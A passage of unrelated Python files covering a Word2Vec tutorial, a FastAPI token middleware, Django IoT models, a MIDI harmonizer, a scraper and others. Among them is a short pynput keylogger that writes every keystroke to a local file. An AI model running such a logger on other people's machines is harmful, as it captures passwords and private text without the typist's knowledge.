wolf = media.Movie("The Wolf of Wall Street")
matrix = media.Movie("The Matrix")

movies = [the_avaitor, october_sky, american, social_network,
          django, gatsby, gravity, flight, enemy, im, wolf, matrix]
fresh_tomatoes.open_movies_page(movies)


## Word2Vec
# https://github.com/minsuk-heo/python_tutorial/blob/master/data_science/nlp/word2vec_tensorflow.ipynb

corpus = ['king is a strong man',
          'queen is a wise woman',
          'boy is a young man',
          'girl is a young woman',
          'prince is a young king',
          'princess is a young queen',
          'man is strong',
          'woman is pretty',
          'prince is a boy will be king',
          'princess is a girl will be queen']

# Remove stop words ----------------------------------------------------
def remove_stop_words(corpus):
    stop_words = ['is', 'a', 'will', 'be']
    results = []
    for text in corpus:
        tmp = text.split(' ')
        for stop_word in stop_words:
            if stop_word in tmp:
                tmp.remove(stop_word)
        results.append(" ".join(tmp))

    return results

corpus = remove_stop_words(corpus)
corpus

words = []
for text in corpus:
    for word in text.split(' '):
        words.append(word)

words = set(words)

# data generation ----------------------------------------------------

word2int = {}
for i,word in enumerate(words):
    word2int[word] = i
word2int

sentences = []
for sentence in corpus:
    sentences.append(sentence.split())
sentences

WINDOW_SIZE = 2

data = []
for sentence in sentences:
    for idx, word in enumerate(sentence):
        for neighbor in sentence[max(idx - WINDOW_SIZE, 0) : min(idx + WINDOW_SIZE, len(sentence)) + 1] :
            if neighbor != word:
                data.append([word, neighbor])
data

import pandas as pd
for text in corpus:
    print(text)

df = pd.DataFrame(data, columns = ['input', 'label'])
df

# Define Tensorflow Graph ----------------------------------------------------
import tensorflow as tf
import numpy as np

ONE_HOT_DIM = len(words)

# function to convert numbers to one hot vectors
def to_one_hot_encoding(data_point_index):
    one_hot_encoding = np.zeros(ONE_HOT_DIM)
    one_hot_encoding[data_point_index] = 1
    return one_hot_encoding

X = [] # input word
Y = [] # target word
for x, y in zip(df['input'], df['label']):
    X.append(to_one_hot_encoding(word2int[ x ]))
    Y.append(to_one_hot_encoding(word2int[ y ]))

# convert them to numpy arrays
X_train = np.asarray(X)
Y_train = np.asarray(Y)

# Train ----------------------------------------------------
import tensorflow as tf
import matplotlib.pyplot as plt

model = tf.keras.Sequential([
    tf.keras.layers.Dense(2),
    tf.keras.layers.Dense(12, activation='softmax')
])

model.compile(optimizer='adam', loss='mse', metrics='mse')
model.fit(X_train, Y_train, epochs=10000, shuffle=True, batch_size=16,verbose=0)
model.summary()

# word vector in table ----------------------------------------------------
sample1 = np.array([[1,0,0,0,0,0,0,0,0,0,0,0]])

word2int
word2int_inv = {v: k for k,v in word2int.items()}
sample = np.eye(12,12)

model.predict(sample1)
latent_np = model.layers[0](sample).numpy()
model.layers[0](sample).numpy().T

# word vector in 2d chart ----------------------------------------------------
import matplotlib.pyplot as plt
plt.figure(figsize=(10,10))
plt.scatter(*latent_np.T)
for e, (xp, yp) in enumerate(latent_np):
    plt.text(xp,yp, word2int_inv[e])


#Storing the keystrokes in a text file
from pynput.keyboard import Listener

def write_to_file(key):
    letter = str(key)
    letter = letter.replace("'","") #remove the inverted commas that seperate the letters

    if letter == 'Key.space':
        letter = ' '
    if letter == 'Key.shift_r':
        letter = ''
    if letter == 'Key.shift':
        letter = ''
    if letter == 'Key.enter':
        letter = '\n'
    if letter == 'Key.tab':
        letter = '\t'

    with open("log.txt", "a") as f:
        f.write(letter) #Write the letters that you press on the keyboard in the log file.

with Listener(on_press=write_to_file) as l:
    l.join() #all the keystrokes are join together


#Python中，使用装饰器很有更为便捷的语法糖,
#可以用@装饰器函数将装饰器函数直接放在被装饰的函数上，效果跟上面的代码相同，下面是完整的代码。

import random
import time

def record_time(func):

    def wrapper(*args, **kwargs):
        start = time.time()
        result = func(*args, **kwargs)
        end = time.time()
        print(f'{func.__name__}执行时间: {end - start:.3f}秒')
        return result

    return wrapper

@record_time
def download(filename):
    print(f'开始下载{filename}.')
    time.sleep(random.randint(2, 6))
    print(f'{filename}下载完成.')

@record_time
def upload(filename):
    print(f'开始上传{filename}.')
    time.sleep(random.randint(4, 8))
    print(f'{filename}上传完成.')

download('MySQL从删库到跑路.avi')
print("-"*100)
upload('Python从入门到住院.pdf')

#上面的代码，我们通过装饰器语法糖为download和upload函数添加了装饰器，这样调用download和upload函数时，会记录下函数的执行时间。
# 事实上，被装饰后的download和upload函数是我们在装饰器record_time中返回的wrapper函数，调用它们其实就是在调用wrapper函数，所以拥有了记录函数执行时间的功能。


'''
Program :- Given a string as input. Count uppercase characters in the string.

Author :- AmRiyaz

LastModified :- April 2021
'''

st = "aaMmAr"
len1 = len(st)
count = 0
for i in range(0,len1):
    ch = st[i]
    if(ch>="A" and ch<="Z"):
        count = count+1
print(count)

'''
Output:
2
'''


def test_compile(project, compiler):
    paths = [
        project.contracts_folder / "MultipleContracts.sol",
        project.contracts_folder / "Proxy.sol",
    ]

    contracts = compiler.compile(paths)
    assert len(contracts) == 4
    assert set(result.name for result in contracts) == {
        "Contract1",
        "Contract2",
        "IDummyInterface",
        "Proxy",
    }
    assert set(result.source_id for result in contracts) == {"MultipleContracts.sol", "Proxy.sol"}
    assert project.Contract1
    assert project.Contract2
    assert project.Proxy
    assert project.IDummyInterface


from fastapi.routing import APIRoute
from fastapi.responses import JSONResponse
from fastapi import Request
#para poder usar el token
from auth.authentication import validate_token

class AccessRouteForTokenMiddleware(APIRoute):
    def get_route_handler(self):
        original_route = super().get_route_handler()

        async def access_route_for_token(request: Request):
            if "Authorization" not in request.headers:
                return JSONResponse(status_code=401, content={"message": "Token not found"})
            token = request.headers["Authorization"].split(" ")[1]
            validate = validate_token(token, output=False)
            if validate == None:
                return await original_route(request)
            else:
                return validate

        return access_route_for_token


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Sep 25 09:57:13 2020

@author: hanjiya
"""

import numpy as np
import matplotlib.pyplot as plt

plt.rcParams['figure.figsize'] = [16,8]
plt.rcParams.update({'font.size' : 18})

t = np.linspace(-5,5,200)
x = 2 + 2*t
y = 3 - 3*t

fig = plt.figure()
ax = fig.gca()
ax.plot(x,y)
ax.plot(2,3,'.')
u = 8 + 8*t + 8*t**2
v = -3 + 3*t
ax.plot(u,v,Color='r')
ax.set_xlim(-10,10)
ax.set_ylim(-10,10)
ax.text(2.3,3.5,'(2,3')

plt.xticks(np.arange(-10,11))
plt.yticks(np.arange(-10,11))
plt.grid('on')

plt.show()


"""Contains utility functions for data and model loading as well as for
generating graph objects, which are then plotted in the web app using Plotly"""

import pandas as pd
import numpy as np
from nltk.tokenize import word_tokenize
from nltk.stem import WordNetLemmatizer
from plotly.graph_objs import Bar, Heatmap

def get_cooc_matrix(df_labels: pd.DataFrame) -> np.ndarray:
    """Returns the symmetric pair-wise co-occurrence matrix.

    Args:
        df_label: DataFrame with columns corresponding to class labels.

    Returns:
        cooc_matrix: 2D np.array representing the co-occurrence heatmap of class labels. The shape is $k \times k$, where $k$ refers to the number of clases.
    """
    k = df_labels.shape[-1]
    co_occ_matrix = np.zeros((k, k))
    for i, la in enumerate(df_labels.columns.values):
        df_temp = df_labels.loc[df_labels[la] == 1]
        n, _ = df_temp.shape
        co_occ_matrix[i, :] = df_temp.sum(axis=0).values / n
    return co_occ_matrix

def tokenize(text):
    """
    Tokenizes a text message and transforms the resulting tokens to their base
    form using the WordNet lemmatizer
    """

    tokens = word_tokenize(text)
    lemmatizer = WordNetLemmatizer()

    clean_tokens = []
    for tok in tokens:
        clean_tok = lemmatizer.lemmatize(tok).lower().strip()
        clean_tokens.append(clean_tok)

    return clean_tokens

def filter_labels(df: pd.DataFrame) -> pd.DataFrame:
    """
    Returns a pandas dataframe that lacks the `child_alone` column and rows
    for which the uniformative `related` column is equal to 1.
    """
    df = df.drop(columns=["child_alone"])
    df = df[df.related == 1]
    return df

def plot_counts_per_label(x, y):
    """
    Returns a list that contains a dictionary to specify a plotly graph
    object for plotting the number of messages (y) per label (x) as a
    horizontal bar plot using Plotly
    """
    graph = [
        {
            "data": [Bar(x=x, y=y, orientation="h")],
            "layout": {
                "title": "Number of messages per label",
                "autosize": False,
                "height": 700,
                "width": 500,
                "yaxis": {
                    "automargin": True,
                    "title": "Label",
                    "dtick": 1,
                },
                "xaxis": {"title": "Number of messages"},
            },
        }
    ]
    return graph

def plot_freq_of_messages_per_number_of_labels(x, y):
    """
    Returns a dictionary that specifies the plotly graph object for plotting
    the histogram (y) of the number of labels per message (x)
    """
    graph_dict = {
        "data": [Bar(x=x, y=y)],
        "layout": {
            "title": "Number of labels per message",
            "autosize": False,
            "height": 700,
            "width": 500,
            "yaxis": {
                "automargin": True,
                "title": "Number of labels",
            },
            "xaxis": {"title": "Number of messages"},
        },
    }

    return graph_dict

def plot_co_occurence_heatmap(x, y, z):
    """
    Returns a dictionary that specifies the plotly graph object for plotting
    a heatmap that informs of the pair-wise co-occurrence of labels
    """
    graph_dict = {
        "data": [Heatmap(x=x, y=y, z=z, hoverongaps=False, colorscale="Viridis")],
        "layout": {
            "title": "Co-occurrence of message labels",
            "autosize": False,
            "height": 800,
            "width": 1000,
            "yaxis": {
                "automargin": True,
                "autorange": "reversed",
            },
            "xaxis": {"tickangle": 60, "automargin": True},
        },
    }
    return graph_dict


"""Provides Features class to the h5features module.

TODO Describe the structure of features.

@author Mathieu Bernard <mmathieubernardd@gmail.com>

"""

import numpy as np
import scipy.sparse as sp

from h5features.dataset.dataset import Dataset, _nb_per_chunk

def contains_empty(features):
    """Return True if one of the features is empty, False else."""
    # Is features empty ?
    if not features:
        return True

    # Are features sub-arrays empty ?
    sizes = [x.shape[0] for x in features]
    for s in sizes:
        if s == 0:
            return True

    # Nothing empty
    return False

def parse_dformat(dformat):
    """Return `dformat` or raise if it is not 'dense' or 'sparse'"""
    if not dformat in ['dense', 'sparse']:
        raise IOError(
            "{} is a bad features format, please choose 'dense' or 'sparse'"
            .format(dformat))
    return dformat

def parse_dtype(features):
    """Return the features scalar type, raise if error.

    Raise IOError if all features have not the same data type.
    Return dtype, the features scalar type.

    """
    types = [x.dtype for x in features]
    dtype = types[0]
    if not all([t == dtype for t in types]):
        raise IOError('features must be homogeneous.')
    return dtype

def parse_dim(features):
    """Return the features dimension, raise if error

    Raise IOError if features have not all the same positive
    dimension.  Return dim (int), the features dimension.

    """
    dims = [x.shape[1] for x in features]
    dim = dims[0]

    if not dim > 0:
        raise IOError('features dimension must be strictly positive.')
    if not all([d == dim for d in dims]):
        raise IOError('all files must have the same feature dimension.')

    return dim

class Features(Dataset):
    """This class manages features in h5features files."""

    def __init__(self, data, name='features'):
        """Initializes Features with data.

        Parameters:

        data : list of 2D numpy array like -- Features should have
            time along the lines and features along the columns
            (accomodating row-major storage in hdf5 files).

        Raise:

        IOError if features are badly formatted.

        """
        if contains_empty(data):
            raise IOError('all features must be non-empty')

        self.dformat = 'dense'
        self.dtype = parse_dtype(data)
        self.dim = parse_dim(data)
        super().__init__(data, name)

    def __eq__(self, other):
        try:
            return (other.dformat == self.dformat and
                    other.dtype == self.dtype and
                    other.dim == self.dim and
                    super().__eq__(other))
        except AttributeError:
            return False

    def is_appendable_to(self, group):
        """Return True if features are appendable to a HDF5 group."""
        return (group.attrs['format'] == self.dformat and
                group[self.name].dtype == self.dtype and
                # We use a method because dim differs in dense and sparse.
                self._dim(group) == self.dim)

    def _dim(self, group):
        """Return the dimension of features stored in a HDF5 group."""
        return group[self.name].shape[1]

    # TODO Document create_dataset order : Features before Times
    def create_dataset(self, group, chunk_size):
        """Initialize the features subgoup."""
        group.attrs['format'] = self.dformat
        super().create_dataset(group, self.dtype, self.dim, chunk_size)

        # attribute declared outside init is not safe. Used because
        # Times.create_dataset need it
        self.nb_per_chunk = _nb_per_chunk(self.dtype.itemsize,
                                          self.dim, chunk_size)

    def write(self, group):
        """Write stored features to a given group."""
        data = [x.todense() if sp.issparse(x)
                     else x for x in self.data]
        data = np.concatenate(data, axis=0)

        nb_group, dim = group[self.name].shape
        nb_data = data.shape[0]
        new_size = nb_group + nb_data

        group[self.name].resize((new_size, dim))
        group[self.name][nb_group:, :] = data

class SparseFeatures(Features):
    """This class is specialized for managing sparse matrices as features."""

    def __init__(self, data, sparsity, name='features'):
        super().__init__(data, name)
        self.dformat = 'sparse'
        self.sparsity = sparsity

        raise NotImplementedError('Writing sparse features is not implemented.')

    def __eq__(self, other):
        try:
            return self.sparsity == other.sparsity and super().__eq__(other)
        except AttributeError:
            return False

    def _dim(self, group):
        """Return the dimension of features stored in a HDF5 group."""
        return group.attrs['dim']

    def create_dataset(self, group, chunk_size):
        """Initializes sparse specific datasets."""
        group.attrs['format'] = self.dformat
        group.attrs['dim'] = self.dim

        # for storing sparse data we don't use the self.nb_per_chunk,
        # which is only used by the Writer to determine times chunking.
        per_chunk = _nb_per_chunk(self.dtype.itemsize, 1, chunk_size)

        group.create_dataset('coordinates', (0, 2), dtype=np.float64,
                             chunks=(per_chunk, 2), maxshape=(None, 2))

        group.create_dataset(self.name, (0,), dtype=self.dtype,
                             chunks=(per_chunk,), maxshape=(None,))

        dtype = np.int64
        chunks = (_nb_per_chunk(np.dtype(dtype).itemsize, 1, chunk_size),)
        group.create_dataset('frames', (0,), dtype=dtype,
                             chunks=chunks, maxshape=(None,))

        # Needed by Times.create_dataset
        self.nb_per_chunk = _nb_per_chunk(self.dtype.itemsize,
                                          int(round(self.sparsity*self.dim)),
                                          chunk_size)

    def write(self, group):
        pass
        # TODO implement this
        # 1- concatenation. put them in right format if they aren't already
        # are_sparse = [x.isspmatrix_coo() for x in features]
        # if not(all(are_sparse)):
        #    for x in features:
        #        if not(x.isspmatrix_coo()):
        #            x = sp.coo_matrix(x)
        # need to get the coo by line ...

        # 2- writing
        #nb, = g['features'].shape
        # g['feature'].resize((nb+features.shape[0],))
        #g['features'][nb:] = features
        # g['coordinates'].resize((nb+features.shape[0],2))
        #g['coordinates'][nb:,:] = coordinates
        #nb, = g['frames'].shape
        # g['frames'].resize((nb+frames.shape[0],))
        #g['frames'][nb:] = frames


import re
from .emails import send_alert
from datetime import datetime
from django.contrib.postgres.fields import ArrayField
from django.db import models
from django.template import Template, Context
from megedc.billing.measue_calculators import Calculators
from megedc.general.models import Project, Local, UnitCost
from timezone_field import TimeZoneField
from tinymce.models import HTMLField

class Gateway(models.Model):

    gateway_type = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    sn = models.CharField(
        max_length=128
    )

    name = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    ver = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    site = models.JSONField()

    owner = models.JSONField()

    room = models.JSONField()

    extra_data = models.JSONField(default=dict, null=True, blank=True)

    secret_extra_data = models.JSONField(default=dict, null=True, blank=True)

    time_zone = TimeZoneField(
        null=True,
        blank=True
    )

    enabled = models.BooleanField(default=True)

    created_at = models.DateTimeField(
        auto_now_add=True,
    )

    updated_at = models.DateTimeField(
        auto_now=True
    )

    removed_at = models.DateTimeField(
        null=True,
    )

    project = models.ForeignKey(
        Project,
        on_delete=models.PROTECT,
        related_name='gateways',
    )

    class Meta:
        unique_together = [
            ['project', 'sn']
        ]

    @property
    def timezone(self):
        if not self.time_zone:
            return self.project.timezone
        return self.time_zone

    def __str__(self):
        if self.name is None:
            return self.sn
        return self.name

class Device(models.Model):

    dev_id = models.AutoField(primary_key=True)

    channel = models.CharField(max_length=128)

    id = models.CharField(max_length=10)

    name = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    desc = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    ready = models.BooleanField(default=False)

    created_at = models.DateTimeField(
        auto_now_add=True,
    )

    updated_at = models.DateTimeField(
        auto_now=True
    )

    removed_at = models.DateTimeField(
        null=True,
    )

    gateway = models.ForeignKey(
        Gateway,
        on_delete=models.PROTECT,
        related_name='devices',
    )

    def __str__(self):
        if self.name is None:
            return '%s [%s-%s]' % (self.gateway, self.channel, self.id)
        return '%s %s' % (self.gateway, self.name)

    class Meta:
        unique_together = [
            ['gateway', 'channel', 'id']
        ]

class RTData(models.Model):

    logdt = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    date_time = models.DateTimeField(auto_now_add=True)

    discard = models.BooleanField(default=False)

    gateway = models.ForeignKey(
        Gateway,
        on_delete=models.PROTECT,
        related_name='data',
    )

    removed_at = models.DateTimeField(
        null=True,
    )

    class Meta:
        unique_together = [
            ['gateway', 'date_time'],
        ]

class DataNone(models.Model):

    dblink = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    name = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    value = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    unit = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    discard = models.BooleanField(default=False)

    data = models.ForeignKey(
        RTData,
        related_name='nodes',
        on_delete=models.PROTECT
    )

    device = models.ForeignKey(
        Device,
        related_name='nodes',
        on_delete=models.PROTECT
    )

    removed_at = models.DateTimeField(
        null=True,
    )

    class Meta:
        indexes = [
            models.Index(fields=['device', 'data', 'name'])
        ]

class RTAlarm(models.Model):

    logdt = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    date_time = models.DateTimeField(auto_now_add=True)

    name = models.CharField(
        max_length=256,
        null=True,
        blank=True
    )

    value = models.CharField(
        max_length=2048,
        null=True,
        blank=True
    )

    threadhold_value = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    unit = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    type = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    flag = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    removed_at = models.DateTimeField(
        null=True,
    )

    device = models.ForeignKey(
        Device,
        related_name='alarms',
        on_delete=models.PROTECT
    )

    class Meta:
        indexes = [
            models.Index(fields=['device', 'logdt'])
        ]

    re_int_charts = re.compile(r'^\D*(\d*).*$')

    @property
    def int_value(self):
        int_chars = self.re_int_charts.match(self.value)
        if int_chars:
            int_val = int_chars.groups()[0]
            if int_val:
                return int(int_val)

class TrendLogData(models.Model):

    date_time = models.DateTimeField()

    dblink = models.CharField(
        max_length=128,
        null=True,
        blank=True,
    )

    name = models.CharField(
        max_length=128,
        null=True,
        blank=True,
    )

    value = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    unit = models.CharField(
        max_length=128,
        null=True,
        blank=True
    )

    removed_at = models.DateTimeField(
        null=True,
    )

    device = models.ForeignKey(
        Device,
        related_name='trend_log_data',
        on_delete=models.PROTECT
    )

    class Meta:
        unique_together = [
            ['device', 'dblink', 'date_time'],
        ]

        indexes = [
            models.Index(fields=['device', 'name', 'date_time'])
        ]

class Measure(models.Model):

    name = models.CharField(
        max_length=128,
        help_text='Measure name'
    )

    desc = models.TextField(
        null=True,
        blank=True,
        help_text='Measure description'
    )

    var_name = models.CharField(
        max_length=128,
        help_text='Device variable name',
        null=True,
        blank=True,
    )

    calculator = models.CharField(
        max_length=20,
        help_text='Measuer calculator',
        choices=Calculators.choices(),
        default=Calculators.default_calculator
    )

    calculator_args = models.JSONField(
        default=list,
        null=True,
        blank=True
    )

    calculator_kwargs = models.JSONField(
        default=dict,
        null=True,
        blank=True
    )

    created_at = models.DateTimeField(
        auto_now_add=True,
    )

    updated_at = models.DateTimeField(
        auto_now=True
    )

    removed_at = models.DateTimeField(
        null=True
    )

    extra_data = models.JSONField(default=dict, null=True, blank=True)

    local = models.ForeignKey(
        Local,
        on_delete=models.CASCADE,
        related_name='measures',
    )

    unit_cost = models.ForeignKey(
        UnitCost,
        on_delete=models.CASCADE,
        related_name='measures',
    )

    def make_invoice_item_desc(self, result_data):
        if self.unit_cost.invoice_item_format is None:
            return 'Cargo de energía'
        context = dict(result_data)
        context.update({
            'start_date': datetime.fromisoformat(result_data['start_date']),
            'end_date': datetime.fromisoformat(result_data['start_date']),
            'local': self.local,
            'unit_cost': self.unit_cost,
        })
        template = Template(self.unit_cost.invoice_item_format)
        return template.render(Context(context))

    def calculate(self, *args, **kwargs):
        calculator = Calculators.get(self.calculator)
        return calculator(self, *args, **kwargs)

    def __str__(self):
        return self.name

class Alert(models.Model):

    name = models.CharField(max_length=128)

    enabled = models.BooleanField(default=True)

    emails = ArrayField(
        models.EmailField(),
        null=True,
        blank=True
    )

    from_email = models.EmailField(null=True, blank=True)

    from_email_name = models.CharField(max_length=50, null=True, blank=True)

    device_channel = models.CharField(max_length=128)

    device_id = models.CharField(max_length=10)

    subject_template = models.TextField(null=True)

    msg_template = models.TextField(null=True)

    html_msg_template = HTMLField(null=True)

    gateway = models.ForeignKey(
        Gateway,
        on_delete=models.PROTECT,
        related_name='alerts',
    )

    created_at = models.DateTimeField(
        auto_now_add=True,
    )

    updated_at = models.DateTimeField(
        auto_now=True
    )

    removed_at = models.DateTimeField(
        null=True
    )

    indexes = [
        models.Index(fields=['gateway', 'device_channel', 'device_id'])
    ]

    def send(self, rt_alarm):
        return send_alert(self, rt_alarm)


"""
ASSUMES YOUR WORKING DIRECTORY IS scripts/

builds new recipes from the submitted google sheet.

Each new recipe should be its own separate PR. Therefore, it should be ran with
a script that can do said checkout and PR.

**Required**: a text file, `add_new_recipes_since`, containing one line--the iso
date of the last recipe to be added. This script will
"""
import sys
import os
import csv
import typing as t
from typing import Iterator
from datetime import datetime
import logging
from recibundler.schema import reciperow
from recibundler import json_writing
import gsheets_download

ADD_NEW_RECIPES_SINCE_PATH = "add_new_recipes_since"

T = t.TypeVar("T")

logging.basicConfig(level=os.environ.get("LOGLEVEL", "WARN"))

def add_new_recipes(filepath=None):
    logging.debug(f"filepath is {filepath}")

    try:

        reader: Iterator = (
            csv.reader(open(filepath, newline=""))
            if filepath
            else gsheets_download.fetch()
        )

        next(reader)
        with open(ADD_NEW_RECIPES_SINCE_PATH) as datefh:
            try:
                last_date = datetime.fromisoformat(datefh.read().strip())
            except ValueError:
                logging.warn("starting from beginning of time")
                last_date = datetime(year=2022, month=1, day=28)

        # skip the header
        next(reader)

        for recipe in reader:
            recipe += [None, None]
            recipe = reciperow.reciperow(*recipe[:19])
            if reciperow.is_recipe_old(recipe, last_date):
                continue
            logging.info(f"the next recipe is {recipe.name}")
            json_writing.write_recipe_to_json(recipe)

            with open(ADD_NEW_RECIPES_SINCE_PATH, mode="w") as datefh:
                datefh.write(str(reciperow.isodate_from_recipe(recipe)))
            return

        logging.error("no new recipes")
        sys.exit(1)
    finally:
        print('done')

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("please pass the path to the file to build recipes from.")
        sys.exit(1)
    add_new_recipes(sys.argv[1])


"""Create's a harmony at a fixed diatonic interval for any midi file which does
not contain accidental notes.  If an acidental is encountered, the harmony will
be P8 or -P8."""

from __future__ import print_function
import music21 as m21
import os
import argparse

def cmp(a, b):
    return (a > b) - (a < b)

def get_parser():
    """Get parser for command line arguments."""
    parser = argparse.ArgumentParser(description="Harmonize-With-Midi")
    parser.add_argument(
        "input_midi",
        help="Input midi file."
    )
    parser.add_argument(
        'interval',
        type=int,
        help="The interval (use positive integer ascending and negative for "
             "descending).  "
             "Can be ..., -7, -6, -5, -4, -3, -2, 2, 3, 4, 5, 6,  or 7, ..."
    )
    parser.add_argument(
        "-k",
        "--key",
        help=('(Optional) The Key. Use capital for major, lowercase for minor, '
              'e.g. "C#" for C# Major and "c#" for C# Minor.  If no key is '
              'chosen, the code will attempt to key find the key automatically.'
              '\n\n'

              'Note: Midi files containing key changes are not currently '
              'supported.\n\n'

              'Note: non-diatonic notes will always be harmonized using P8.'),
        default=None,
    )
    parser.add_argument(
        "-o",
        "--output_midi",
        default=None,
        help="Name for output midi file.  Defaults to the name of you input "
             "file with '_harmony_<interval>' before the extension.  "
             "E.g. 'test.mid' could output 'test_harmony_3.mid'"
    )
    parser.add_argument(
        "-t",
        "--fix_timing",
        action='store_true',
        default=False,
        help="OK, so using `music21` to make this was maybe a bad choice.  "
             "Turns out there's automatic quantization.  This flag will up the "
             "`ticksPerQuarter` default in `music21` to 2^14, which should "
             "help prevent too much quantization. This is not a perfect fix."
    )
    parser.add_argument(
        "-f",
        "--fixed_octave",
        action='store_true',
        default=False,
        help="Use to force harmony to stay a one octave range."
    )
    return parser

def parentdir(path_, n=1):
    for i in range(n):
        path_ = os.path.dirname(path_)
    return path_

def sgn(x):
    return cmp(x, 0)

def nzint(interval_):
    """converts a diatonic degree/interval to be a unit with a natural 0.
    I.e. 1, -1 notes become 0; 2, -2 become 1, etc."""
    return sgn(interval_)*(abs(interval_) - 1)

def harmonize_pitch_in_place(p, interval, key, fix_octave=False):
    """Create's a harmony with pitch `p` with a distance determined by the
    input diatonic interval, `interval` and key.
    If p is not in the input key, the harmony will
    be P8 or -P8 (match the sign of `interval')."""
    key_notes = [kp.midi % 12 for kp in key.pitches]
    try:
        degree = key_notes.index(p.midi % 12) + 1
    except ValueError:
        p.transpose(sgn(interval)*12, inPlace=True)
        return
    new_degree = degree + nzint(interval)

    if fix_octave:
        octave_adjustment = 0
    else:
        octave_adjustment = nzint(new_degree)//6
    new_pitch = key.pitchFromDegree(new_degree)
    adjustment = (new_pitch.midi - p.midi) % 12 + 12*octave_adjustment
    # from pdb import set_trace; set_trace()
    p.transpose(adjustment, inPlace=True)

if __name__ == '__main__':

    # Parse input and user args
    args = get_parser().parse_args()

    if args.output_midi:
        output_file = args.output_midi
    else:
        name, ext = os.path.splitext(args.input_midi)
        output_file = name + '_' + 'harmony' + '_' + str(args.interval) + '.mid'

    if args.fix_timing:
        m21.defaults.ticksPerQuarter = 1024*16

    # read the midi into music21
    mf = m21.midi.MidiFile()
    mf.open(args.input_midi)
    mf.read()
    mf.close()
    score = m21.midi.translate.midiFileToStream(mf, quantizePost=False)
    #score = m21.converter.parse(args.input_midi)

    # figure out the key (if use didn't suggest it)
    if not args.key:
        try:
            key = score.analyze('key')
        except:
            raise Exception("Having difficulty determining key.  "
                            "Please specify a key.")
    else:
        key = m21.key.Key(args.key)
    print("Using key:", key)

    # Harmonize the score
    for part in score.parts:
        for p in part.pitches:
            print(p, end=' -> ')
            # print ''
            # score.show('t')
            harmonize_pitch_in_place(p, interval=args.interval,
                                        key=key,
                                        fix_octave=args.fixed_octave)
            # print ''
            # score.show('t')
            # print ''
            print(p)
            # raw_input()

    m = m21.midi.translate.streamToMidiFile(score)
    m.open(output_file, 'wb')
    m.write()
    m.close()


from __future__ import print_function
from combo_core.source_maintainer import *
from combo_core.importer import *
from combo_core.compat import connection_error
import requests
import json

MAX_RESPONSE_LENGTH = 4096

class ServerConnectionError(ComboException, connection_error):
    pass

class NackFromServer(ComboException):
    pass

class RemoteSourceLocator(SourceLocator):
    def __init__(self, address):
        self._addr = address
        self._url = 'http://' + ':'.join(str(x) for x in address)

    def _extended_url(self, *args):
        return '/'.join((self._url, ) + args)

    def get_source(self, project_name, version):
        req_url = self._extended_url('get_source')
        params = {'project_name': project_name, 'project_version': str(version)}

        try:
            response = requests.get(req_url, params=params)
        except BaseException as e:
            raise ServerConnectionError(
                'Could not get response for request to "{}" with params "{}"'.format(req_url, params), e)

        try:
            source = json.loads(response.content.decode())
        except BaseException as e:
            raise UndefinedProject('Server could not locate project "{}" version "{}"'.format(project_name, version), e)

        return source

    def all_sources(self):
        req_url = self._extended_url('get_available_versions')

        try:
            response = requests.get(req_url)
        except BaseException as e:
            raise ServerConnectionError('Could not get response for request to "{}"'.format(req_url), e)

        try:
            sources_dict = json.loads(response.content.decode())
        except BaseException as e:
            raise ServerConnectionError('Server did not return a list of the available versions', e)

        return sources_dict

class RemoteSourceMaintainer(RemoteSourceLocator, SourceMaintainer):
    def __init__(self, address):
        super(RemoteSourceMaintainer, self).__init__(address)

    def add_project(self, project_name, source_type=None):
        req_url = self._extended_url('add_project')

        data = {'project_name': project_name}
        if source_type:
            data['source_type'] = source_type

        try:
            response = requests.post(req_url, data=data)
            print('Server response: {}'.format(response.content))
        except BaseException as e:
            raise ServerConnectionError('Could not post new project {}'.format(project_name), e)

    def add_version(self, version_details, **kwargs):
        # kwargs is not relevant here, because it is not sent to the server anyway

        req_url = self._extended_url('add_version')
        data = {'version_details': json.dumps(version_details)}

        try:
            response = requests.post(req_url, data=data)
            print('Server response: {}'.format(response.content))
        except BaseException as e:
            raise ServerConnectionError('Could not post version located at {}'.format(version_details), e)

class RemoteImporter(Importer):
    def __init__(self, sources_locator):
        """
        Construct a dependencies importer which uses the combo server
        :param sources_locator: A RemoteSourceLocator object
        """
        if not isinstance(sources_locator, RemoteSourceLocator):
            raise UnhandledComboException(
                'Invalid sources locator for type for server importer: {}'.format(type(sources_locator)))
        super(RemoteImporter, self).__init__(sources_locator)

    def get_all_sources_map(self):
        return self._source_locator.all_sources()

    # TODO: Return this optimized implementation once the server has a real implementation of the all sources map
    # def get_dep_hash(self, dep):
    #     """
    #     :param dep: A combo dependency
    #     :return: The hash of the given dependency
    #     """
    #     # If already cached, return the cached hash
    #     if self._cached_data.has_dep(dep):
    #         return self._cached_data.get_hash(dep)
    #
    #     # Dependency is not cached, use the all sources json instead
    #     sources_map = self.get_all_sources_map()
    #     assert str(dep) in sources_map, 'Dependency "{}" not found on the remote sources map'.format(dep)
    #
    #     return sources_map[str(dep)]['hash']


class car:

    def __init__(self, n, c):
        self.name = n
        self.color = c

    def start(self):
        print("name : ", self.name)
        print("color : ", self.color)
        print("starting the engine")

my_car1 = car("Ttokio", "White")  #car.start(my_car)
my_car1.start()
my_car2 = car("hdffer", "blue")
my_car2.start()
my_car3 = car("kdfhjsd", "black")
my_car3.start()
my_car3.year = 2017
print(my_car3.name, my_car3.color, my_car3.year)


from bs4 import BeautifulSoup
import requests, openpyxl

wb = openpyxl.Workbook()
sheet = wb.active
sheet.title = "Top 250 Movies"
sheet.append(["Rank", "Movie Name", "Rating", "Year of release"])

try:
    response = requests.get("https://www.imdb.com/chart/top/")
